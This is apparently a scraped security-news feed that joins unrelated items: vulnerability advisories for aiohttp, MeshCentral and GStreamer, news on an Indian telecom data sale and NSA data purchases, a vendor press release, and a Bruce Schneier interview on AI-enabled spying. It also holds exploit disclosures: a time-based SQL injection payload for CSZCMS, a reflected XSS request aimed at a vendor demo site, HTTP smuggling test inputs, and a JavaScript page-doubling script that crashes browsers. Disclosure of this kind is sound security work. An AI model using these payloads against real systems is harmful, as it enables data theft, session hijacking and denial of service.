### Summary
Security-sensitive parts of the *Python HTTP parser* retained minor differences in allowable character sets, that must trigger error handling to robustly match frame boundaries of proxies in order to protect against injection of additional requests. Additionally, validation could trigger exceptions that were not handled consistently with processing of other malformed input.

### Details
These problems are rooted in pattern matching protocol elements, previously improved by PR #3235 and GHSA-gfw2-4jvh-wgfg:

1. The expression `HTTP/(\d).(\d)` lacked another backslash to clarify that the separator should be a literal dot, not just *any* Unicode code point (result: `HTTP/(\d)\.(\d)`).

2. The HTTP version was permitting Unicode digits, where only ASCII digits are standards-compliant.

3. Distinct regular expressions for validating HTTP Method and Header field names were used - though both should (at least) apply the common restrictions of rfc9110 `token`.

### PoC
`GET / HTTP/1ö1`
`GET / HTTP/1.𝟙`
`GET/: HTTP/1.1`
`Content-Encoding?: chunked`

### Impact
Primarily concerns running an aiohttp server without llhttp:
 1. **behind a proxy**: Being more lenient than internet standards require could, depending on deployment environment, assist in request smuggling.
 2. **directly accessible** or exposed behind proxies relaying malformed input: the unhandled exception could cause excessive resource consumption on the application server and/or its logging facilities.

-----

Patch: https://github.com/aio-libs/aiohttp/pull/8074/files

**Summary**

Security-sensitive parts of the _Python HTTP parser_ retained minor differences in allowable character sets, that must trigger error handling to robustly match frame boundaries of proxies in order to protect against injection of additional requests. Additionally, validation could trigger exceptions that were not handled consistently with processing of other malformed input.

**Details**

These problems are rooted in pattern matching protocol elements, previously improved by PR #3235 and GHSA-gfw2-4jvh-wgfg:

1.  The expression HTTP/(\d).(\d) lacked another backslash to clarify that the separator should be a literal dot, not just _any_ Unicode code point (result: HTTP/(\d)\.(\d)).
    
2.  The HTTP version was permitting Unicode digits, where only ASCII digits are standards-compliant.
    
3.  Distinct regular expressions for validating HTTP Method and Header field names were used - though both should (at least) apply the common restrictions of rfc9110 token.
    

**PoC**

GET / HTTP/1ö1  
GET / HTTP/1.𝟙  
GET/: HTTP/1.1  
Content-Encoding?: chunked

**Impact**

Primarily concerns running an aiohttp server without llhttp:

1.  **behind a proxy**: Being more lenient than internet standards require could, depending on deployment environment, assist in request smuggling.
2.  **directly accessible** or exposed behind proxies relaying malformed input: the unhandled exception could cause excessive resource consumption on the application server and/or its logging facilities.

Patch: https://github.com/aio-libs/aiohttp/pull/8074/files

**References**

*   GHSA-8qpw-xqxj-h4r2
*   GHSA-gfw2-4jvh-wgfg
*   aio-libs/aiohttp#3235
*   https://github.com/aio-libs/aiohttp/pull/8074/files
*   aio-libs/aiohttp@33ccdfb

GHSA-8qpw-xqxj-h4r2: aiohttp's HTTP parser (the python one, not llhttp) still overly lenient about separators

An algorithm-downgrade issue was discovered in Ylianst MeshCentral 1.1.16.

**MeshCentral algorithm-downgrade issue**

Moderate severity GitHub Reviewed Published Jan 29, 2024 to the GitHub Advisory Database • Updated Jan 29, 2024

GHSA-wpxw-5xfm-x22v: MeshCentral algorithm-downgrade issue

By Deeba Ahmed
Two groups of threat actors, namely CYBO CREW and UNIT8200, are apparently selling the same database with a price tag of $3,000.
This is a post from HackRead.com Read the original post: Threat Actors Selling 1.8TB Database of Indian Mobile Users

The database holds personal records of over 750 million Indian citizens, accounting for nearly half of the country’s 1.4 billion population.

A massive yet alleged data breach has reportedly exposed the personal information of millions worldwide, encompassing 85% of the Indian population, marking it as the largest-ever breach of its kind.

Indian cybersecurity firm CloudSEK has reported a staggering data leak exposing personal information, including names, mobile numbers, addresses, and the unique 12-digit Aadhaar card numbers, of 750 million Indians, roughly half of the country’s population of 1.4 billion.

The breach affects mobile network subscribers across multiple countries, posing significant privacy and data security concerns. This compromised database contains security-sensitive information, claim CloudSEK researchers, and has been compressed to 600GB from 1.8TB when uncompressed.

CloudSEK’s investigation of a trove of personally identifiable information (PII) in the database revealed the breach has impacted all major telecom providers but Indian users are at a higher risk, due to the exposure of their unique Aadhaar identification number, raising concerns about identity theft, financial fraud, and cybercrime.

The database is being sold on Telegram and Breach Forums, a well-known platform for hackers and cybercrime activities. Interestingly, this forum recently saw another threat actor leaking a database from Hathway, which contained information from 4 million users.

In fact, two different cybercrime groups, including CYBO CREW-affiliated CyboDevil and UNIT8200 are offering the data for sale for $3,000.

CloudSEK reports that the threat actor selling the data has denied involvement in this data breach and claims to have obtained it through law enforcement channels’ undisclosed asset work, however, the source remains unclear.

Screenshot shows details of what the group is selling (Credit: CloudSEK)

For your information, CYBOCREW is an emerging new threat group, first discovered in July 2023. The group has so far targeted organizations in the automobile, jewellery, insurance, and apparel sectors, conducting major breaches.  CyboDevil and UNIT8200 are amongst its most active affiliates.

CloudSEK’s Sparsh Kulshrestha highlighted that the “magnitude” of this data breach is unprecedented, emphasizing the importance of telecom service providers and the government to devise measures for identifying potential security vulnerabilities beforehand to prevent such attacks.

Users are advised to change passwords, be cautious of phishing, monitor accounts, and report suspicious activity after a breach, especially those linked to mobile numbers or Aadhaar, to protect their information. CloudSEK has responsibly notified impacted parties and relevant authorities regarding the data breach.

1.  **Indian ISP Hathway Data Breach: Hacker Leaks 4M User Data**
2.  **iPhone Hack Attack Warnings Spark Political Firestorm in India**
3.  **Hacker Leaks 73M Records from Indian HDFC Bank Subsidiary**
4.  **Indian Ticketing Platform RailYatri Hacked – 31 Million Impacted**
5.  **India’s Largest Truck Brokerage Company Leaking 140GB of Data**

Threat Actors Selling 1.8TB Database of Indian Mobile Users

By cyberwire
Toronto, Canada, January 29th, 2024, Cyberwire – In an era where online threats no longer discriminate by business…
This is a post from HackRead.com Read the original post: Control D Launches Control D for Organizations: Democratizing Cybersecurity

**Toronto, Canada, January 29th, 2024, Cyberwire –** In an era where online threats no longer discriminate by business size, Control D, powered by Windscribe VPN’s robust security expertise, announced today the launch of ‘Control D for Organizations‘. This modern DNS service democratizes cybersecurity, making it accessible to businesses of every size, from budding start-ups to late stage SMBs and MSPs.

Leveraging the strength of the world’s largest physical VPN network, Control D is bringing unmatched expertise in navigating cybersecurity challenges and global surveillance into the hands of businesses that traditionally lacked these advanced protections.

Control D for Organizations is geared at companies, schools, and NGOs of all sizes offering simplicity for smaller teams and highly specific and advanced controls for larger organizations. Control D is packed with an arsenal of tools designed to secure and empower diverse teams:

1\. **Malware Blocking**: Protecting business continuity against malicious threats with state-of-the-art detection techniques, all built in-house. Protect individual devices or entire networks in just a few minutes.

2\. \*\***Multi-Tenancy**: Addresses the complexity of managing access and filtering policies across different departments, subsidiaries, or customer accounts within a large enterprise or service provider setting.

3\. **Modern Protocols**: Security cannot be assured using standard DNS protocols. That’s why Control D supports all modern (and encrypted) protocols like DNS-over-HTTPS/3 and DNS-over-TLS.

4\. **Custom Filtering**: Highly granular web filters provide power users with ultimate control, while more general curated lists allow DNS security newcomers to gain maximum security benefits with minimal effort.

5\. **Actionable Insights**: Detailed network activity analytics empower businesses to improve their security posture and make strategic decisions.

Control D for Organizations is more than a security tool—it’s a declaration that first-rate cybersecurity is no longer a luxury. It embodies a new era where organizations, irrespective of their size or financial prowess, can confidently protect their operations and data.

**‘Control D for Organizations ‘, Empowering Every Business with Advanced Cybersecurity**

Control D is a pioneer in software security, devoted to offering next-level, user-centric solutions. Backed by the years of security expertise of Windscribe VPN which protects over 68 million people, Control D leverages the largest physical VPN network and one of the fastest anycast DNS networks to deliver unparalleled security and freedom from surveillance on a global scale.

Join the DNS security revolution and equip your business with Control D. Visit controld.com for more information and take your first step towards comprehensive digital protection. Additional assistance for onboarding channel partners is available. A free no-payment-details required trial is available.

****Media Contact Information**:**

For further details, please contact Yegor Sak at \[email protected\] or our channel partner lead Joe Jaghab at \[email protected\]

****Contact****

**Founder**  
**Yegor Sak**  
**Control D**  
**\[email protected\]**  
**+1(848)500-9848**

Control D Launches Control D for Organizations: Democratizing Cybersecurity

By Deeba Ahmed
From Snowden to Shady Markets: The Long History of NSA's Unchecked Surveillance.
This is a post from HackRead.com Read the original post: NSA Admits Buying American Browsing Records From Shady Markets

According to a letter from NSA director Paul Nakasone to Wyden, the agency purchased Netflow data and information from electronic devices used both domestically and internationally.

The US National Security Agency (NSA) has confirmed purchasing American users’ internet browsing records without warrants, according to Oregon Democratic Senator Ron Wyden. Congressman Wyden, a staunch privacy advocate, spent three years attempting to disclose the NSA’s practice, including purchasing smartphone location data without a warrant.

These “warrantless purchases” included information about websites visited and apps used, explained Wyden. This means, that US government agencies frequently access commercial marketplaces to gather sensitive information about Americans without obtaining court warrants.

According to a letter from NSA director Paul Nakasone to Wyden, the agency only purchased Netflow data and information from electronic devices used both domestically and internationally. The data, mainly related to Internet communications, did not include American communications content. The NSA claims to use commercially available Netflow data for cybersecurity and foreign intelligence missions, to defend US military networks from foreign hackers, minimizing the collection of U.S. personal information through technical filters.

In a letter to the Director of National Intelligence (DNI), Avril Haines, Wyden has urged the Biden administration to stop this “warrantless surveillance of Americans” through internet data purchases. He argues that the US government should not fund and legitimize a shady industry, raising questions about its legality.

“The U.S. government should not be funding and legitimizing a shady industry whose flagrant violations of Americans’ privacy are not just unethical, but illegal.”

Collecting user browsing habits metadata is a risky practice as it can expose personal information on websites related to mental health, sexual assault, domestic abuse, and telehealth, posing a significant privacy risk.

It must be noted that the Federal Trade Commission (FTC) has banned Outlogic (previously called X-Mode Social) and InMarket Media from selling location information without users’ informed consent, also barring Outlogic from collecting location data for sensitive locations like medical clinics and religious places.

Purchasing data from companies falling in the legal gray area is unethical as consumers/users are unaware of how it’ll be shared or used. Third-party apps incorporating SDKs from these brokers do not inform users about location data sales for advertising or national security purposes, either.

The revelation comes amid growing concerns about foreign governments acquiring US citizens’ data. The Biden administration is already preparing an executive order to curb such purchases, reports CNN. But the government itself is involved in such practices.

However, the NSA has a history of mass surveillance practices, therefore, Wyden’s disclosure doesn’t seem surprising. Back in 2015, a lawsuit was filed by Wikipedia against the NSA to protect the rights of its 500 million monthly users, arguing that their mass surveillance potentially violates the Fourth Amendment and First Amendment and that their activities exceed the authority granted by the Foreign Intelligence Surveillance Act.

Ex NSA contractor Edward Snowden’s 2013 revelation of a secret NSA mass surveillance program, which has been secret for over a decade created havoc globally, exposing the agency’s spying practices.

In 2015, a three-judge panel of the Second Circuit Court of Appeals ruled that the agency’s telephone metadata collection program, which gathered millions of American citizens’ phone records daily, is illegal under the Patriot Act.

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5.  **Baltimore City ransomware attack powered by stolen NSA hacking tool**

NSA Admits Buying American Browsing Records From Shady Markets

Debian Linux Security Advisory 5608-1 - A heap-based buffer overflow during tile list parsing was discovered in the AV1 video codec parser for the GStreamer media framework, which may result in denial of service or potentially the execution of arbitrary code if a malformed media file is opened.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5608-1                   security@debian.orghttps://www.debian.org/security/                     Salvatore BonaccorsoJanuary 27, 2024                      https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : gst-plugins-bad1.0CVE ID         : CVE-2024-0444A heap-based buffer overflow during tile list parsing was discovered inthe AV1 video codec parser for the GStreamer media framework, which mayresult in denial of service or potentially the execution of arbitrarycode if a malformed media file is opened.For the oldstable distribution (bullseye), this problem has been fixedin version 1.18.4-3+deb11u4.For the stable distribution (bookworm), this problem has been fixed inversion 1.22.0-4+deb12u5.We recommend that you upgrade your gst-plugins-bad1.0 packages.For the detailed security status of gst-plugins-bad1.0 please refer toits security tracker page at:https://security-tracker.debian.org/tracker/gst-plugins-bad1.0Further information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQKTBAEBCgB9FiEERkRAmAjBceBVMd3uBUy48xNDz0QFAmW1XvtfFIAAAAAALgAoaXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDQ2NDQ0MDk4MDhDMTcxRTA1NTMxRERFRTA1NENCOEYzMTM0M0NGNDQACgkQBUy48xNDz0T6lQ//U5/FcuUV+SLF3IYzbSGP3nxOl3njQNMQz12woGd8SJdFpsEgeyOFUqwE1u6xUjNbryI3N/U3zGxEH3P5gZdcxXbQX3dWqHr6IrBC1ciBwKZrtmcmy9ME2OZd1r2QYGNxGYr2d/E9IV6lvT6L2MPeKTbEmAUjCGgY/nsPi9P2ECwufD7KEHh+6IXn5WRPEFIWioOXWhiBn02x612VHJUvux5geBz6oLkl9sc2V9coHx19kywaC9W2JMttSlyBaw3s7l2lv25rwTYCie1YmAgjsvnyZu3ijGMwHp/Sa7RYUkTC09S/fzuZlFOADz5HRslsjvlk0SomPg5A0J6eDYVQUqE3fq3A2zRtkDbeGbScAmc4eyR1d4LE0FqTPOUxZoCR84fP542vOqLimvfdnkkaPSJwcQJRrwKx4r/hYFwOi4W1gwy90at7MQljzwrfExMcXu9B3WmzmwAcTsX9nrgyiXNKH3Lib0gT+93TbqdhUNHuj9zC885JfOwxTh+jRaas4dyx4Tjaz83pJaUzEEIgAHByfr5N1UltvIUmO7AX9C9iLLyVVmgb2Qz0ujdc1N8XSqcvB52psJe5o6oEx6UbAVTH48PGrCuYY2kfzKKHYUan6n8MILRw8Is4FaUz4BAUd6Fjgo+jG/oS32grK7aujTbqRCiDaTDLcT/vywZldQA==giTa-----END PGP SIGNATURE-----

Debian Security Advisory 5608-1

CSZCMS version 1.3.0 suffers from a remote SQL injection vulnerability in the admin flows.

    # Title:  CSZCMS v1.3.0 - SQL Injection# Author: Abdulaziz Almetairy# Date: 27/01/2024# Vendor: https://www.cszcms.com/# Software: https://sourceforge.net/projects/cszcms/files/install/CSZCMS-V1.3.0.zip/download# Reference: https://github.com/oh-az# Tested on: Windows 11, MySQL, Apache# 1 - Log in to the admin portalhttp://localhost/cszcms/admin/login# 2 - Navigate to General Menu > Member Users.# 3 Click the 'View' button next to any username.# 4 Intercept the requestGET /cszcms/admin/members/view/1 HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeCookie: 86112035d26bb3c291899278f9ab4fb2_cszsess=n5v1jcdqfjuuo32ng66e4rttg65ugdssUpgrade-Insecure-Requests: 1# 5 Modify the paramter /cszcms/admin/members/view/1to /cszcms/admin/members/view/'or(sleep(10))#and url encode all characters/cszcms/admin/members/view/%27%6f%72%28%73%6c%65%65%70%28%31%30%29%29%23%20Impact: Exploiting this SQL injection vulnerability allows an attacker to read sensitive data, enumerate database structures, and potentially cause denial of service through time-based SQL injection by manipulating queries to exploit delays in the application's response.Fix: Implement rigorous input validation and exclusively utilize prepared statements to prevent SQL injection vulnerabilities.

CSZCMS 1.3.0 SQL Injection

Interactive Floor Plan version 1.0 suffers from a cross site scripting vulnerability.

    ## Title: Interactive-Floor-Plan-1.0-XSS-Reflected-SESSION-Hijacking## Author: nu11secur1ty## Date: 01/28/2024## Vendor: https://www.phpjabbers.com/## Software: https://www.phpjabbers.com/interactive-floor-plan-software/#sectionDemo## Reference: https://portswigger.net/web-security/cross-site-scripting/reflected## Description:The value of the action request parameter is copied into the HTMLdocument as plain text between tags. The payload epe7x<img src=aonerror=alert(1)>aagqb was submitted in the action parameter. Thisinput was echoed unmodified in the application's response. Theattacker can steal session cookies etc.STATUS: HIGH - Vulnerability[+]Exploit:```GETGET /1706426767_110/index.php?controller=pjFront&action=pjActionLoadCssepe7x%3cimg%20src%3da%20onerror%3dalert(1)%3eaagqbHTTP/1.1Host: demo.phpjabbers.comAccept-Encoding: gzip, deflate, brAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85Safari/537.36Connection: closeCache-Control: max-age=0Cookie: _ga=GA1.2.809339229.1706427310;_gid=GA1.2.1556395590.1706427310; _gat=1;_fbp=fb.1.1706427309936.1280956215;_ga_NME5VTTGTT=GS1.2.1706427311.1.0.1706427311.60.0.0Upgrade-Insecure-Requests: 1Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"Sec-CH-UA-Platform: WindowsSec-CH-UA-Mobile: ?0Content-Length: 0```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2024/Interactive-Floor-Plan-1.0)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2024/01/interactive-floor-plan-10-xss-reflected.html)## Time spent:00:35:00

Interactive Floor Plan 1.0 Cross Site Scripting

Senior Privacy Advocate David Ruiz speaks with Bruce Schneier about artificial intelligence, surveillance, and an era of "mass spying."

For decades, governments and companies have surveilled the conversations, movements, and behavior of the public.

And then the internet came along and made that a whole lot easier.  

Today, search engines collect our queries, browsers collect our device information, smartphones collect out locations, social media platforms collect our conversations with one another, and, depending on the country, governments either collect that same information from the companies that maintain it, or they gather it directly themselves by monitoring their people.

That’s a lot of data that, until now, has been difficult to parse at scale.

But cryptographer and computer security professional Bruce Schneier believes that’s going to change, all because of the advent of artificial intelligence.

Already equipped with reams of data, governments and companies will now be able to ask AI models to make conclusions _from_ the data, Schneier said, supercharging the human work of inquiry with the limitless scale of AI.

“Spying is limited by the need for human labor,” Schneier wrote. “AI is about to change that.”

In January, Senior Privacy Advocate David Ruiz (and host of the Lock and Code podcast) spoke with Schneier about the future of AI-enabled mass spying—the implications, the responses from the public, and whether there’s any hope in dismantling a system so deeply embedded in the modern world.

Below is an edited transcript of their conversation.

**DAVID RUIZ**: We know that mass surveillance has this “Collect it all” mentality—of the NSA, obviously, but also from companies that gather clicks and shares and locations and app downloads and all of that.

What is the mass spying equivalent of that?

**BRUCE SCHNEIER**: So, it’s “Collect it all,” but it’s “Collect different things.”

Let’s step back here.

We kind of know what mass surveillance, mass spying looks like. It’s the kind of thing we saw in former East Germany, where like 10 percent of the population spied on 90 percent of the population. And it was incredibly manpower intensive.

Now, we moved into a world of automatic mass surveillance with the rise of the internet and the rise of cheap data storage and processing. This is maybe 20 years ago, when companies and the NSA start collecting mass surveillance data, and that is metadata—the kind of data that Snowden talked about—data about data. Data from your phone, from your browser, who you spoke to, where you went, what you spent money on, what websites you visited, that’s kind of mass surveillance data.

> Spying, the difference I’m making, is about conversations.

And while computers were easily able to interpret location data and data about who you spoke to—your email “from” and “to” lines—they weren’t able to interpret what you said.  Voice conversations, text conversations, email conversations, they could do keyword searches and if you think about, Chinese censorship is based pretty naively on keyword searches. \[For instance,\] you say the bad word, you get censored. That’s still very primitive.

Spying—listening in on a conversation, knowing what people are saying—required human beings, and there weren’t enough humans to listen to everything. So, you had this automatic surveillance: We can know where everybody is, that’s easy.  But knowing what everybody’s saying, we still couldn’t do—we didn’t have the people.

As AI becomes increasingly capable of understanding and even having conversations, it can start doing the role that people used to do and engage in this kind of spying at a mass level.

Now, the question you asked started me in this monologue is what did that look like? And the answer is: We have no idea.

We kind of know what East Germany looked like, former Soviet Union. We do know what some of these countries look like. But I don’t think it’s the same. It is not this kind of mass spying by corporations. Or by democratic governments. So, we don’t know. But it’s worth at least thinking about. 

**DAVID RUIZ**: When I was trying to answer my own question, I feel like one of the potential futures here is, instead of “Collect it all,” it’s this attempt at “Know it all.”

**BRUCE SCHNEIER**: It always was “Know it all,” but now it becomes more possible.

**DAVID RUIZ**: Yeah, and I was hypothesizing that there might be companies that say “We have created a package of questions that we use on AIs that we know and trust to discover these new insights,” and \[they\] sell these packages to companies that are trying to find out XYZ and ABC about their customers, or governments about their persons.

And that already sounds awful. It sounds both boring and dreadful, which is what I think surveillance is today—it is boring operationally in terms of \[how\] we don’t see data brokers. We don’t see what gets collected every single day behind the interface of the web. But it is used so much to power the direction of the web.

**BRUCE SCHNEIER**: And my guess is that’s right. And it’s not actually boring. Certainly, the companies wanted you to think that. It is very hidden. Data brokers spent a lot of effort making sure that there’s no visibility into their industry, so we don’t know the data being collected on us.

But remember, this is still all surveillance data. It’s not the contents of your phone calls, it’s the billing information. It’s who you called, what time, how long you spoke, that kind of information. Maybe the location of your two phones when you were talking. This brings it up to another level. 

**DAVID RUIZ**: You mentioned that this is the conversations—the content of communications. And I wanted to address that immediately because I think whenever spying is discussed, a lot of folks picture someone rifling through text messages or emails. And I think some people might balk at that. They might say and reject the premise based on things like “Oh, Apple can’t look at my iMessages, and Google said it wouldn’t advertise based on email content some years ago, and my phone provider, I don’t think, is recording my phone calls.”

So, my question after those kinds of claims, is: Is that too narrow a lens to understand this future of mass spying? What am I missing when I say those things to calm myself down?

**BRUCE SCHNEIER**: I think it’s all economics. Google did realize that eavesdropping on the contents of your Gmail wasn’t terribly useful. So, they didn’t do it. Of course, they made a virtue out of it. That stuff will change.

We’re already seeing \[the questions of\] “Is this company using your data to train their AI? Will it be used to influence how an AI interacts with you?”\[And\] already we can see that the tones of voice we use with these AI chatbots is mirrored. They say they’re not storing it and using it for training—we don’t know the answer.

As this stuff becomes more valuable, as companies see a business interest in using it, of course it’s going to be used. It’s not going to be a world where we \[can\] rely on the goodness of the hearts of for-profit corporations not to abuse our privacy.

So, it’s a matter of how cheap it is. It is going to become cheap for Google to eavesdrop on the contents of everyone’s email conversations, or for Zoom to eavesdrop on all meetings? They currently say they’re not \[monitoring meetings in\] their terms of service, they’ll probably \[receive\] push back if they change it—they were already pushed back because there was a thought that Zoom would be using your information to train an AI. \[It\] turned out to not be true, but there was a little panic there. But how long does that last? 

We saw this with Facebook and their surveillance over the years and decades.

They did a new thing, there was a pushback, there’s an outcry, and after a couple months, it was the new normal. So, I don’t know where this is going to go, but the tech is moving to the point where this stuff is possible and, in fact, easy. 

**DAVID RUIZ**: We talked about the business case for \[AI-enabled mass spying\] and I wanted to ask more broadly: Who will engage in AI mass spying?

**BRUCE SCHNEIER**: The answer is going to be everybody who can.

Who are the major players here? Certainly there are corporations who are doing it for manipulation purposes. Surveillance is the business model of the internet because advertising is the business model of the internet, and advertising is convincing you to do something that you might not have done otherwise.

So, this surveillance-based manipulation is the business model, and anything that gives a company an advantage, they’re going to do. We \[already\] saw that with personalized advertising \[which is\] based on characteristics that you might not be happy sharing.

So, companies will do that.

Now, in the West, we tend not to have governments do this on their own citizens—they rely on corporations. The US government doesn’t spy on us directly, they get the spying data from corporations who do that to everybody.

You go to other countries, more totalitarian countries, and governments do engage in surveillance and will engage in spying. Here, I’m thinking about China, but other countries as well. So, very much think of it in terms of power:

> Those that have the power will engage in the behaviors because it magnifies their power. There is no surprise. 

**DAVID RUIZ**: There’s a lot of times where we could think “Why would a company do this? Why would a government do this?” And there’s a lot of alleged reasons. The NSA will say that it collects as much data as possible for national security reasons, but they’ve been saying that for decades, and the national security reason seems to change every few years, right? There’s a, there’s a “national security risk du jour.”

And it’s much easier and simpler to think of it as those that have power hope to keep that power and amass more of it.

I wanted to separately ask: We talked about corporations. We talked about governments. What about people? I have access to AI tools in a way that I don’t have access to data collection regimes.

So, are people going to spy on people?

**BRUCE SCHNEIER**:  People are already spying on people. It’s more one-on-one. There’s an entire industry of super creepy spyware that is sold to people who want to spy on their wives and girlfriends. This is kind of a gross industry, but it exists and it is used in many countries.

So, yes. But here again, the power matters, and it’s generally the more powerful spying on the less powerful in a relationship. It’s generally the man spying on the woman because that’s the power imbalance.

When you think about bulk surveillance, it’s access to the data.

I really can’t spy on my neighborhood. Sure, I can set up a camera in front of my house and watch what’s going on in my street, but that’s all I could do. I don’t have the power to put cameras everywhere. I don’t have the power to get your email or your Zoom stream.

So, I think you are going to see some use of these technologies by people who are not traditionally powerful. But in general, like all these technologies, they benefit the powerful more than the less powerful.

**DAVID RUIZ**: We know that people act differently when they know they’re being surveilled—will that also apply to mass spying?

**BRUCE SCHNEIER**: Certainly, people in the United States have lived out of this kind of regime in post-9/11. Lots of Muslims lived in a world where they were being spied on a lot.

Lots of people—Jon Penney comes to mind, there are others—have researched how the feeling that you’re under constant surveillance—or spying, they’re both the same here—leads to self-censorship.

If you think you are being watched all the time, you behave differently. We do know that there’s an enormous chilling effect on how you behave, what you do, on your conformity. And if you think you’re being watched all the time, you tend to conform. You’re not going to do something different. You’re not going to stand out.

> This seems really bad for society because that’s how society innovates. A world where people don’t try new things is a world that stagnates.

To take an easy example, about 10 years ago, I forget the year, gay marriage became legal in the United States, in all 50 states. It became the law of the land and that change was the result of a multi-decade process. For a while it was illegal and immoral, then it was illegal and moral, and then it became legal and moral.  And in order for that to happen—in order for that whole progression—somebody way back in the beginning had to try gay sex once and say: “You know, that wasn’t so bad. That was kind of fun.”

And the reason they were able to do that is that they weren’t being watched. They could do it in the privacy of their own bedroom and no one could stop them.

If you live in a world where, whether it’s gay sex or marijuana or whatever it is that becomes the mainstream moral norm over several generations, if you can’t try it, if there can’t be a counterculture of doing it, it never will become the social norm. If everybody who tried pot in the ‘50s was immediately discovered and arrested, you’d never get to legalization. You never would get a generation of people that would say, “You know, that’s not that bad. Why are we criminalizing this kind of not harmful drug?”

**DAVID RUIZ**: On the current environment that we live in, where so much surveillance happens every day—again, both from corporations and from governments—it doesn’t seem like there’s any way to dismantle it. And it feels like the potential of mass spying to produce even deeper insights means that we’ve lost the battle on surveillance. Have we lost that battle?

**BRUCE SCHNEIER**: I never think it’s too late, and that kind of fatalism doesn’t make sense when you look at history. It’s like saying in the 1200s, “Well, we tried to fight against monarchy. I guess that didn’t work. It’s too late.” Or centuries later, “You know, we tried to fight against slavery, that didn’t work.” Or, “You know, we’ll never give women the vote. That ship has sailed.”

> We, as a species, regularly make our society more moral, more ethical, more egalitarian. It’s slow, it’s bursty, but decade over decade, century over century, we are improving.

So, no, I don’t think from now until the end of our species, the level of surveillance we see today cannot be rolled back. I think that is ridiculous.

We no longer send five-year-olds up chimneys to clean them. We don’t do that. We changed. We no longer allow companies to sell pajamas that catch on fire. We changed. We can do that here.

Like the other big things, like monarchy, like slavery, like the patriarchy, these things are going to be hard to dismantle, but they are dismantlable.

Near term, I think you’re right. Near term, both companies and governments are just punch-drunk on our data, and they’re not going to give it up. But long term, lots of things are possible and will happen. 

**DAVID RUIZ**: I mean this as a high compliment: You are the most optimistic guest we’ve had on the podcast.

**BRUCE SCHNEIER**: I’m near term pessimistic and long term optimistic. Near term, I think we’re screwed. The tech monopolies are so powerful, and we saw that with social media. Both Republicans and Democrats agreed—this never happened before—that Facebook was harming our society in different ways, but it’s harming society. \[They\] called Zuckerberg in, called the other companies in, yelled at them, \[said\] something must be done, and nothing was done.

That is sheer lobbying power right there in operation.

So, near term, I don’t see any solution, but our species has handled harder problems than this. This won’t be the one that stumps us.

**DAVID RUIZ**: What do we do at this point? 

**BRUCE SCHNEIER**: I want this to be a political issue. This stuff changes when it becomes an issue that voters care about. If there is a debate question on this, if this becomes something that politicians are asked about, then change will happen, right? If it isn’t, then it is really just the lobbyists that get to decide what happens.

“What should we do?” is agitate for change. Make this political, make this something that politicians can’t ignore.

Where change is happening is the EU. You have listeners in the EU, and they will know that things are happening there. Right now, Europe is the regulatory superpower on the planet. They are the jurisdiction where we got a comprehensive data privacy law, where they are passing an AI security law, stuff that you would never see in the United States.

So, look outside the US right now, but make this political. That’s how we’re going to make it better.

But we’re fighting uphill. It’s very hard in the United States to enact policies that the money doesn’t want. Money gets its way in in US policy. And the money wants this. 

**DAVID RUIZ**: And I think disentangling money from politics in the United States is a different \[conversation\], and unfortunately we don’t have the time for it.

**BRUCE SCHNEIER**: No, surely you can solve that in half an hour.

**DAVID RUIZ**: Actually, are you booked for the next half hour?

**BRUCE SCHNEIER**: If I was able to solve that, I would be not doing what I’m doing now, because, you’re right, that might not be the most important problem, but as Professor Larry Lessig said, it’s the first problem. It’s a problem we need to solve to solve every other problem.

 In conversation: Bruce Schneier on AI-powered mass spying 

Chrome version 121 suffers from a javascript fork malloc vulnerability that indicates memory corruption upon crash.

    Searching the web for `javascript fork malloc bomb` returns results,e.g. [here][1]: and [here][2]:We got a javascript fork malloc bomb which crashed Chrome 121 on linuxwith SIGILL and about one in five runs the virtual machine freezes.SIGILL almost always is a sign of memory corruption :)On android it crashes the current tab without explanation.Firefox 121 on linux also crashes the current tab.In all cases except the sporadic freezes, the browser remains functioning,not counting the crashed tab.The javscript code is simply simple:`setInterval("document.body.innerHTML += document.body.innerHTML ",1);`[Online demo][3]: In case someone wants to test it on other browsersor debug.The GNU/linux tests took about 1.5 minutes in a virtual machine with4GB RAM and single core.[1]: http://wiki.glitchdata.com/index.php/Examples_of_fork_bombs#JavaScript[2]: https://gist.github.com/betandr/f0cbbb663accc3a76c11cc7661711566#javascript[3]: https://www.guninski.com/fork1.html

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